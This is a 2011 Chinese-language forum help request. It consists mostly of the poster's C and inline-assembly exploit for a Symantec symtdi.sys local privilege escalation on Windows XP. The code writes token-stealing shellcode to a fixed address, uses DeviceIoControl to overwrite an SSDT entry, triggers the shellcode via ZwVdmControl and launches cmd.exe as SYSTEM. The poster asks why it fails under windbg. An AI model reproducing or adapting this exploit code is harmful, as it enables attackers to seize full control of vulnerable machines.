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[求助]Symantec核心驱动symtdi.sys漏洞利用中遇到的问题
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发表于: 2011-1-13 09:48
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这个漏洞的分析网上一搜，一堆一堆的，千篇一律！
这个地址是原创吧！http://www.whitecell.org/list.php?id=49
可是利用代码总是提权不成功……
漏洞文件放在附件里了，哪位高人帮我看一下呢~！
[win xp sp2]利用代码：
#include <stdio.h>
#include <windows.h>
#pragma comment (lib, "ntdll.lib")
typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef struct _IMAGE_FIXUP_ENTRY {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);
int main(int argc, char* argv[])
{
NTSTATUS status;
HANDLE deviceHandle;
DWORD dwReturnSize = 0;
PVOID VdmControl = NULL;
PVOID ShellCodeMemory = (PVOID)0x2E332E35;
//PVOID InputBuffer = NULL;
DWORD MemorySize = 0x2000;
PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;
OSVERSIONINFOEX OsVersionInfo;
RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);
if ( OsVersionInfo.dwMajorVersion != 5 ) {
printf( "Not NT5 system\n" );
ExitProcess( 0 );
return 0;
}
if ( OsVersionInfo.dwMinorVersion != 1 ) {
printf( "isn't windows xp system\n" );
ExitProcess( 0 );
return 0;
}
printf( "Symantec Local Privilege Escalation Vulnerability Exploit (POC) \n\n" );
//printf( "Tested on: \n\twindows 2003 sp1 (ntkrnl.pa.exe version) \n\n" );
//printf( "\tCoded by shadow3\n\n" );
//__asm int 3
status = NtAllocateVirtualMemory( (HANDLE)-1,
&ShellCodeMemory,
0,
&MemorySize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if ( status != STATUS_SUCCESS ) {
printf( "NtAllocateVirtualMemory failed, status: %08X\n", status );
return 0;
}
memset( ShellCodeMemory, 0x90, MemorySize );
__asm {
call CopyShellCode
nop
nop
nop
nop
nop
nop
//
// 恢复SSDT保证系统能够正常运行
//
/*
mov edi, 0x80827D54
mov [edi], 0x808C998A
mov [edi+4], 0x809ba123
mov [edi+8], 0x80915CBE
*/ // ntoskrnl.exe
///mov edi, 0x8083100C
// mov [edi], 0x808C998A
///mov [edi+4], 0x809970CC // ntkrnlpa.exe version
///mov [edi+8], 0x8092FF3E
mov eax,0xFFDFF124 // eax = ETHREAD (not 3G Mode)
mov eax,[eax]
mov esi,[eax+0x220]
mov eax,esi
searchXP:
mov eax,[eax+0x88]
sub eax,0x88
mov edx,[eax+0x84]
cmp edx,0x4 // Find System Process
jne searchXP
mov eax,[eax+0xc8] // 获取system进程的token
mov [esi+0xc8],eax // 修改当前进程的token
ret 8
CopyShellCode:
pop esi
lea ecx, CopyShellCode
sub ecx, esi
mov edi,0x2E332E35
cld
rep movsb
}
/*deviceHandle = CreateFile("[url=]\\\\.\\symtdi[/url]",
0,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if ( INVALID_HANDLE_VALUE == deviceHandle ) {
printf( "Open Symtdi device failed, code: %d\n", GetLastError() );
return 0;
} else {
printf( "Open Symtdi device success\n" );
}*/
//到此，用windbg看到，ShellCode已经写到0x2e332e35地址处了
DeviceIoControl( deviceHandle,
0x83022003,
NULL,
0x0,
(PVOID)0x80502460, //ntkrnlpa.exe version // (PVOID)0x80827D54,
0xC,
&dwReturnSize,
NULL );
//这里，用windbg观察到，已经将SSDT表中的0x10c号函数NtVdmControl地址改为0x2e332e35
CloseHandle( deviceHandle );
VdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
if ( VdmControl == NULL ) {
printf( "VdmControl == NULL\n" );
return 0;
}
printf( "call shellcode ... " );
__asm {
xor ecx,ecx
push ecx
push ecx
mov eax, VdmControl
call eax
}
printf( "Done.\n" );
printf( "Create New Process\n" );
GetStartupInfo( &stStartup );
CreateProcess( NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi );
return 0;
}
出错信息：用windbg跟踪利用代码，发现在执行"pop ebp"这句的时候，函数突然跳转到另外的代码区域0x805affb0。
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往上顶顶，漫长的等待……
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